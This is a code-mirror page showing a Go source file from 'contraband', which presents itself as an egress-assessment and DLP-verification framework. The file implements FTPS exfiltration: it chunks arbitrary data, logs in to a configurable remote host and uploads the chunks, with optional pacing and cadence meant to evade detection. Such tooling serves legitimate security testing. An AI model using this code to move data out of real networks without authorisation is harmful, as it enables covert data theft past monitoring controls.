● Notice //GitHub (@shehzade) is temporarily suspended pending an automated false-positive review. All tools are hosted on this Code Mirror and available on request (contact); GitHub links will return once reinstated.
PUBLIC MIRRORGo v1.0

Multi-protocol network egress assessment and DLP verification framework featuring automated L4 sweeps, corporate proxy traversal, and covert protocol smuggling across 20+ channels.

$ git clone https://shehzade.io/repos/contraband.git Copy
Source ZIP (1.93 MB)
Code 174 Commits 1
contraband / pkg / client / exfil / file / ftps.go
← Back to directory
201 lines · 5.2 KB
Raw
1package file
2
3import (
4 "bytes"
5 "context"
6 "crypto/sha256"
7 "crypto/tls"
8 "encoding/hex"
9 "fmt"
10 "io"
11 "net"
12 "strconv"
13 "strings"
14 "time"
15
16 jftp "github.com/jlaffaye/ftp"
17 "github.com/shehzade/contraband/pkg/client/evasion"
18 "github.com/shehzade/contraband/pkg/client/exfil"
19 "github.com/shehzade/contraband/pkg/common"
20)
21
22// FTPSExfiltrator implements Explicit and Implicit FTPS exfiltration.
23type FTPSExfiltrator struct{}
24
25func NewFTPSExfiltrator() *FTPSExfiltrator {
26 return &FTPSExfiltrator{}
27}
28
29func init() {
30 exfil.RegisterExfiltrator(common.ProtoFTPS, NewFTPSExfiltrator())
31}
32
33func (e *FTPSExfiltrator) Protocol() string {
34 return common.ProtoFTPS
35}
36
37func (e *FTPSExfiltrator) Exfiltrate(ctx context.Context, reader io.Reader, opts exfil.ExfilOptions) (*common.ProbeResult, error) {
38 if err := opts.Validate(); err != nil {
39 return nil, err
40 }
41
42 start := time.Now().UTC()
43 result, err := common.NewProbeResult("exfil", e.Protocol(), opts.TargetHost, opts.TargetPort)
44 if err != nil {
45 return nil, err
46 }
47 result.Timestamps.StartTCP = start
48 result.TLSProfile = opts.TLSFingerprint
49 result.PayloadType = opts.PayloadType
50 result.CarrierType = opts.CarrierType
51
52 if opts.TotalBytes <= 0 {
53 if br, ok := reader.(*bytes.Reader); ok {
54 opts.TotalBytes = int64(br.Len())
55 } else if bb, ok := reader.(*bytes.Buffer); ok {
56 opts.TotalBytes = int64(bb.Len())
57 }
58 }
59
60 if opts.ExpectedHash == "" {
61 if br, ok := reader.(*bytes.Reader); ok {
62 cur, _ := br.Seek(0, io.SeekCurrent)
63 h := sha256.New()
64 _, _ = io.Copy(h, br)
65 opts.ExpectedHash = hex.EncodeToString(h.Sum(nil))
66 _, _ = br.Seek(cur, io.SeekStart)
67 }
68 }
69 result.PayloadHash = opts.ExpectedHash
70
71 if opts.SessionToken.IsZero() {
72 tok, tokErr := common.NewSessionToken()
73 if tokErr != nil {
74 return nil, tokErr
75 }
76 opts.SessionToken = tok
77 }
78
79 chunker, err := evasion.NewStreamChunker(reader, opts.SessionToken, opts.ChunkSize, opts.TotalBytes)
80 if err != nil {
81 return nil, fmt.Errorf("failed to initialize chunk streamer: %w", err)
82 }
83 defer chunker.Close()
84 result.TargetVolume = opts.TotalBytes
85
86 username := opts.Headers["username"]
87 if username == "" {
88 username = "contraband"
89 }
90 password := opts.Headers["password"]
91 if password == "" {
92 password = "contraband"
93 }
94
95 targetAddr := net.JoinHostPort(opts.TargetHost, strconv.Itoa(opts.TargetPort))
96 tlsCfg := &tls.Config{
97 ServerName: opts.TargetHost,
98 InsecureSkipVerify: opts.InsecureTLS,
99 }
100
101 isImplicit := opts.TargetPort == 990 || strings.EqualFold(opts.Headers["ftps_mode"], "implicit")
102
103 var client *jftp.ServerConn
104 var dialErr error
105
106 if isImplicit {
107 client, dialErr = jftp.Dial(targetAddr, jftp.DialWithTimeout(opts.Timeout), jftp.DialWithTLS(tlsCfg))
108 } else {
109 client, dialErr = jftp.Dial(targetAddr, jftp.DialWithTimeout(opts.Timeout), jftp.DialWithExplicitTLS(tlsCfg))
110 }
111
112 if dialErr != nil {
113 result.Verdict = classifyError(dialErr)
114 result.ErrorMessage = dialErr.Error()
115 calculateDurations(&result)
116 return &result, dialErr
117 }
118 defer func() {
119 _ = client.Quit()
120 }()
121
122 result.Timestamps.ConnectedTCP = time.Now().UTC()
123 result.Timestamps.HandshakeTLS = time.Now().UTC()
124
125 if loginErr := client.Login(username, password); loginErr != nil {
126 result.Verdict = classifyError(loginErr)
127 result.ErrorMessage = fmt.Sprintf("FTPS login failed: %v", loginErr)
128 calculateDurations(&result)
129 return &result, loginErr
130 }
131
132 result.Timestamps.FirstByteSent = time.Now().UTC()
133
134 var headEvidence []byte
135 for {
136 chunkFrame, seq, err := chunker.Next()
137 if err == io.EOF {
138 break
139 }
140 if err != nil {
141 result.Verdict = classifyError(err)
142 result.ErrorMessage = err.Error()
143 calculateDurations(&result)
144 return &result, err
145 }
146
147 if len(headEvidence) < 768 && len(chunkFrame) > common.ChunkHeaderSize {
148 p := chunkFrame[common.ChunkHeaderSize:]
149 needed := 768 - len(headEvidence)
150 if needed > len(p) {
151 needed = len(p)
152 }
153 headEvidence = append(headEvidence, p[:needed]...)
154 }
155
156 filename := fmt.Sprintf("chunk_%s_%d.dat", opts.SessionToken.String(), seq)
157
158 storErr := client.Stor(filename, bytes.NewReader(chunkFrame))
159 if storErr != nil {
160 result.Verdict = classifyError(storErr)
161 result.ErrorMessage = fmt.Sprintf("FTPS STOR failed for chunk %d: %v", seq, storErr)
162 calculateDurations(&result)
163 return &result, storErr
164 }
165
166 result.BytesSent += int64(len(chunkFrame))
167
168 if opts.Shaper != nil {
169 if err := opts.Shaper.WaitN(ctx, len(chunkFrame)); err != nil {
170 result.Verdict = classifyError(err)
171 result.ErrorMessage = err.Error()
172 calculateDurations(&result)
173 return &result, err
174 }
175 }
176 if opts.Cadence != nil {
177 delay := opts.Cadence.NextDelay()
178 if delay > 0 {
179 select {
180 case <-time.After(delay):
181 case <-ctx.Done():
182 result.Verdict = classifyError(ctx.Err())
183 result.ErrorMessage = ctx.Err().Error()
184 calculateDurations(&result)
185 return &result, ctx.Err()
186 }
187 }
188 }
189 }
190
191 result.Timestamps.AckReceived = time.Now().UTC()
192 result.Timestamps.TeardownDone = time.Now().UTC()
193 result.Verdict = common.VerdictSuccess
194 result.RawEvidence = common.FormatBoundedRawEvidence(headEvidence)
195 if result.PayloadHash == "" {
196 result.PayloadHash = chunker.PayloadHashHex()
197 }
198
199 calculateDurations(&result)
200 return &result, nil
201}